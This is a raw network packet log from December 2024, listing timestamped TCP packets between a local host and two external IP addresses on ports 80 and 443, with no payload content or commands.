Dec 19, 2024 14:10:41.902038097 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.902093887 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.902153015 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.903256893 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.903311014 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.903402090 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.903450012 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.904428959 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.904459000 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.904483080 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.904500961 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.905680895 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.905755997 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.905766010 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.905817032 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.906770945 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.906820059 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.906853914 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.906900883 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.907963991 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.908011913 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.908049107 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.908099890 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.909157038 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.909203053 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.909213066 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.909245014 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.910368919 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.910415888 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.910480976 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.910527945 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.911505938 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.911557913 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.911577940 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.911622047 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.912702084 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.912754059 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.912789106 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.912833929 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.913885117 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.913937092 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.913985968 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.914027929 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.915060043 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.915117025 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.915138960 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.915184021 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.916255951 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.916304111 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.916352987 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.916397095 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.917437077 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.917486906 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.917530060 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.917576075 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.918668985 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.918715000 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.918724060 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.918771029 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.919825077 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.919872999 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.919976950 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.920026064 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.920978069 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.921052933 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.921103001 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.921149969 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.922189951 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.922239065 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.922323942 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.922370911 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.923372984 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.923422098 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.923471928 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.923517942 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.924576998 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.924617052 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.924628019 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.924662113 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.925825119 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.925880909 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.925904989 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.925950050 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.927020073 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.927072048 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.927124977 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.928193092 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.928237915 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.928239107 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.928278923 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.929346085 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.929392099 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.929420948 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.929461956 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.930493116 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.930543900 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.930593014 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.930634022 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.931672096 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.931865931 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.931916952 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.932900906 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.932945013 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.933047056 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.933095932 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.934066057 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.934113979 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.934154987 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.934200048 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.935303926 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.935513020 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.935565948 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.936441898 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.936490059 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.936547995 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.936597109 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.937689066 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.937731981 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.937769890 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.937812090 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.938896894 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.939091921 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.939140081 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.940057039 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.940128088 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.940131903 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.940165997 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.941210985 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.941268921 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.941308975 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.941354990 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.942374945 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.942420959 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.057281971 CET	443	49843	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:42.057405949 CET	49843	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:42.058747053 CET	49843	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:42.058772087 CET	443	49843	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:42.059111118 CET	443	49843	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:42.063735008 CET	49843	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:42.064527035 CET	49843	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:42.064584970 CET	443	49843	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:42.064783096 CET	49843	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:42.064836979 CET	443	49843	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:42.064990997 CET	49843	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:42.065109015 CET	443	49843	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:42.066889048 CET	49843	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:42.066929102 CET	443	49843	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:42.067166090 CET	49843	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:42.067219019 CET	443	49843	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:42.067451000 CET	49843	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:42.067502022 CET	443	49843	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:42.067521095 CET	49843	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:42.067754030 CET	49843	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:42.067801952 CET	49843	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:42.072551966 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.072705984 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.072726011 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.072870016 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.073219061 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.073280096 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.073412895 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.073507071 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.073555946 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.073610067 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.074522018 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.074639082 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.074723005 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.075743914 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.075807095 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.075839043 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.075887918 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.076920033 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.076983929 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.077009916 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.077084064 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.078279972 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.078352928 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.078418970 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.078464985 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.079469919 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.079529047 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.079536915 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.079566956 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.080461979 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.080535889 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.080559969 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.080604076 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.081650019 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.081712008 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.081764936 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.081872940 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.082848072 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.082895041 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.082948923 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.083000898 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.084032059 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.084086895 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.084136009 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.084187031 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.085226059 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.085277081 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.085319042 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.085469007 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.086388111 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.086445093 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.086561918 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.086678028 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.087646961 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.087743998 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.087863922 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.087913036 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.088785887 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.088804960 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.088840008 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.088855982 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.089978933 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.090117931 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.090148926 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.090178013 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.091172934 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.091252089 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.091267109 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.091321945 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.092323065 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.092379093 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.092483997 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.092535019 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.093594074 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.093637943 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.093651056 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.093678951 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.094784021 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.094831944 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.094846010 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.094875097 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.095900059 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.095944881 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.095973015 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.096014977 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.097126961 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.097223997 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.097275019 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.097322941 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.098421097 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.098469973 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.098516941 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.098579884 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.099683046 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.099694967 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.099745989 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.100691080 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.100716114 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.100766897 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.101830959 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.101955891 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.101998091 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.102050066 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.102998018 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.103091002 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.103113890 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.103173971 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.104207039 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.104262114 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.104314089 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.104362965 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.105530977 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.105580091 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.105632067 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.105679989 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.106611967 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.106661081 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.106688976 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.106734991 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.107831001 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.107887030 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.107901096 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.107949018 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.108963966 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.109097004 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.109142065 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.109185934 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.110233068 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.110281944 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.110311031 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.110354900 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.111345053 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.111351013 CET	443	49843	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:42.111465931 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.111562014 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.111567020 CET	49843	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:42.111613035 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.111628056 CET	49843	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:42.111665964 CET	49843	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:42.112600088 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.112648010 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.112660885 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.112689972 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.113751888 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.113802910 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.113888979 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.113944054 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.114883900 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.114952087 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.115005970 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.115047932 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.116110086 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.116169930 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.116180897 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.116251945 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.117316961 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.117372036 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.117496014 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.117547989 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.118515968 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.118562937 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.118613005 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.118658066 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.119641066 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.119700909 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.119743109 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.119848967 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.120939970 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.121031046 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.121048927 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.121078014 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.122039080 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.122054100 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.122090101 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.123245955 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.123256922 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.123306036 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.124372005 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.124417067 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.124489069 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.124536991 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.125557899 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.125607967 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.125674963 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.125732899 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.126739025 CET	80	49837	31.41.244.11	192.168.2.4
